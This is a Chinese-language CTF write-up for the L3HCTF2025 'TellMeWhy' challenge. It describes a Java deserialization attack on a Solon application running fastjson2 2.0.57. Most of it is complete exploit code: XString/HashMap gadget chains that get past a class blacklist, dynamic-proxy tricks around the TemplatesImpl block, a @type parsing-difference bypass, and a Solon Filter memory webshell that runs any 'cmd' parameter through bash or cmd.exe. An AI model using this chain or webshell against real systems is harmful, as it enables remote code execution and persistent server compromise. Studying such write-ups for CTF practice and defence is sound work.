L3HCTF2025 TellMeWhy

使用了solon框架,存在fastjson2依赖

img

并且/baby/why路由可以反序列化

存在反序列化黑名单

img

  • javax.management.BadAttributeValueExpException
  • javax.swing.event.EventListenerList
  • javax.swing.UIDefaults$TextAndMnemonicHashMap

目的是想要过滤可以触发JsonArray.toString的链子,常见的可以触发toString方法的链子如下:

  • XString
Hashmap#readobject --> 
    XString#equals --> 
        JSONArray.toString
  • HotSwappableTargetSource
HashMap#readObject -> 
    HotSwappableTargetSource#equals -> 
        XString#equals -> 
            JSONArray.toString
  • BadAttributeValueExpException
BadAttributeValueExpException#readObject --> 
    JSONArray#toString
  • EventListenerList
EventListenerList#readobject --> 
    UndoManager#toString -->
        Vector#toString -->
            JSONArray#toString
  • TextAndMnemonicHashMap
hashmap#readObject-->
    HashMap#putVal-->
        AbstractMap#equals-->
            TextAndMnemonicHashMap#get-->
                JSONArray#toString

那么在这里我们可以利用XString去触发JsonArray.toString 或者可以用tabby去跑一下

fastjson2原生反序列化

fastjson2.0.26之前有一条原生反序列化链

通过调用JSONArray类的toString方法时,可遍历调用其元素的任意公开getter方法,从而触发TemplatesImpl#getOutputProperties,最终加载任意恶意字节码来rce

img

我们把这里的BadAttributeValueExpException替换为XString

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Test {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -a Calculator\");");
        clazz.addConstructor(constructor);

        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "p0l1st");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);
        
        XString xs = new XString("\n");

        HashMap hashMap = new HashMap<>();
        HashMap hashMap2 = new HashMap<>();
        hashMap.put("yy",jsonArray);
        hashMap.put("zZ", xs);
        hashMap2.put("yy",xs);
        hashMap2.put("zZ",jsonArray);
        Object obj = makeMap(hashMap, hashMap2);
        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(obj);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static HashMap makeMap(Object v1, Object v2) throws Exception {
        HashMap s = new HashMap();
        setValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
}

img

这样看起来好像我们已经成功绕过了黑名单,但是当前使用的fastjson2版本是2.0.26,而题目使用版本是2.0.57

img

在这个版本中TemplatesImpl已经被加入黑名单,所以我们不能通过触发getter去直接调用了

常见打法是通过动态代理来绕过

动态代理绕高版本fastjson

参考:https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q

理论上的方法应该是

  1. 用ObjectFactoryDelegatingInvocationHandler代理Templates接口,被调用getOutputProperties方法
  2. 用JSONObject代理ObjectFactoryDelegatingInvocationHandler中的objectFactory属性,返回teamplatesImpl

但是当前框架是solon,不存在spring相关依赖

出题人给了MyProxy这个类,有一个invoke方法,其实是和ObjectFactoryDelegatingInvocationHandler#invoke一样的

img

Exp

根据上面思路构造exp

import com.sun.org.apache.xpath.internal.objects.XString;
import gadgets.*;
import org.example.demo.Utils.MyObject;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class ExpFinal {
    public static void main(String[] args) throws Exception {
        Object object = new ExpFinal().getObject("open -a Calculator");
        byte[] ser = serialize(object);
        String base64ser = Base64.getEncoder().encodeToString(ser);
        System.out.println(base64ser);
        runGadgets(object);

    }
    public Object getObject (String cmd) throws Exception {

        Object node1 = TemplatesImplNode.makeGadget(cmd);
        Map map = new HashMap();
        map.put("object",node1);
        Object node2 = JSONObjectNode.makeGadget(2,map);

        Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
                new Class[]{MyObject.class}, (InvocationHandler)node2);
        Object node3 = ObjectFactoryDelegatingInvocationHandlerNode.makeGadget(proxy1);
        Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
                new Class[]{Templates.class}, (InvocationHandler)node3);

        Object node4 = JsonArrayNode.makeGadget(2,proxy2);

        XString xs = new XString("\n");
        HashMap hashMap = new HashMap<>();
        HashMap hashMap2 = new HashMap<>();
        hashMap.put("yy",node4);
        hashMap.put("zZ", xs);
        hashMap2.put("yy",xs);
        hashMap2.put("zZ",node4);

        Object obj = makeMap(hashMap, hashMap2);
//        Object node5 = BadAttrValExeNode.makeGadget(node4);
//        Object[] array = new Object[]{node1,obj};
//        Object node6 = HashMapNode.makeGadget(array);
        return obj;
    }

    public static HashMap makeMap(Object v1, Object v2) throws Exception {
        HashMap s = new HashMap();
        setValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void runGadgets(Object obj)throws Exception{
        byte[] ser = serialize(obj);
        deserialize(ser);
    }

    public static byte[] serialize(final Object obj) throws IOException {
        System.out.println("serialize obj:  "+ obj.getClass().getName());
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
        System.out.println("deserialize obj");
        final ByteArrayInputStream in = new ByteArrayInputStream(ser);
        final ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }

}

img

还有一个问题,在反序列化之前对传入的json数量进行对比,solon框架解析到的map和fastjson2解析到的length需要不一致并且传入的json需包含“why”

img

这个就涉及到两者的解析特性,fastjson2和1一样都支持@type,而solon是无法解析的,可以利用这一点构造pyaload

{"@type": "java.util.HashMap","why":"base64 payload"}

img

同时需要绕过过滤器

img

同时由于远程环境不出网,还需要打solon内存马

参考:https://aecous.github.io/2025/03/12/Solon%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%86%E6%9E%90/#Filter%E5%86%85%E5%AD%98%E9%A9%AC

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.Solon;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;

public class FilterShell  extends AbstractTranslet implements Filter {
    static {
        try {
            Solon.app().chainManager().addFilter(new FilterShell(),0);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }


    @Override
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {
        try{
            if(ctx.param("cmd")!=null){
                String str = ctx.param("cmd");
                try{
                    String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
                    String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
                    ctx.output(output);
                }catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }catch (Throwable e){
            System.out.println("异常:"+e.getMessage())    ;
        }
        chain.doFilter(ctx);
    }
}

最终exp

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import common.ClassFiles;
import gadgets.*;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;
import org.example.demo.Utils.MyObject;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class ExpFinal {
    public static void main(String[] args) throws Exception {
        Object object = new ExpFinal().getObject("open -a Calculator");
        byte[] ser = serialize(object);
        String base64ser = Base64.getEncoder().encodeToString(ser);
        System.out.println(base64ser);
//        runGadgets(object);

    }
    public Object getObject (String cmd) throws Exception {

//        Object node1 = TemplatesImplNode.makeGadget(cmd);

        byte[] bytes = Repository.lookupClass(FilterShell.class).getBytes();
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{bytes});
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);

        Object node1 = templates;


        Map map = new HashMap();
        map.put("object",node1);
        Object node2 = JSONObjectNode.makeGadget(2,map);

        Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
                new Class[]{MyObject.class}, (InvocationHandler)node2);
        Object node3 = ObjectFactoryDelegatingInvocationHandlerNode.makeGadget(proxy1);
        Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
                new Class[]{Templates.class}, (InvocationHandler)node3);

        Object node4 = JsonArrayNode.makeGadget(2,proxy2);

        XString xs = new XString("\n");
        HashMap hashMap = new HashMap<>();
        HashMap hashMap2 = new HashMap<>();
        hashMap.put("yy",node4);
        hashMap.put("zZ", xs);
        hashMap2.put("yy",xs);
        hashMap2.put("zZ",node4);

        Object obj = makeMap(hashMap, hashMap2);
//        Object node5 = BadAttrValExeNode.makeGadget(node4);
//        Object[] array = new Object[]{node1,obj};
//        Object node6 = HashMapNode.makeGadget(array);
        return obj;
    }

    public static HashMap makeMap(Object v1, Object v2) throws Exception {
        HashMap s = new HashMap();
        setValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void runGadgets(Object obj)throws Exception{
        byte[] ser = serialize(obj);
        deserialize(ser);
    }

    public static byte[] serialize(final Object obj) throws IOException {
        System.out.println("serialize obj:  "+ obj.getClass().getName());
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
        System.out.println("deserialize obj");
        final ByteArrayInputStream in = new ByteArrayInputStream(ser);
        final ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }


}

注入内存马

img

img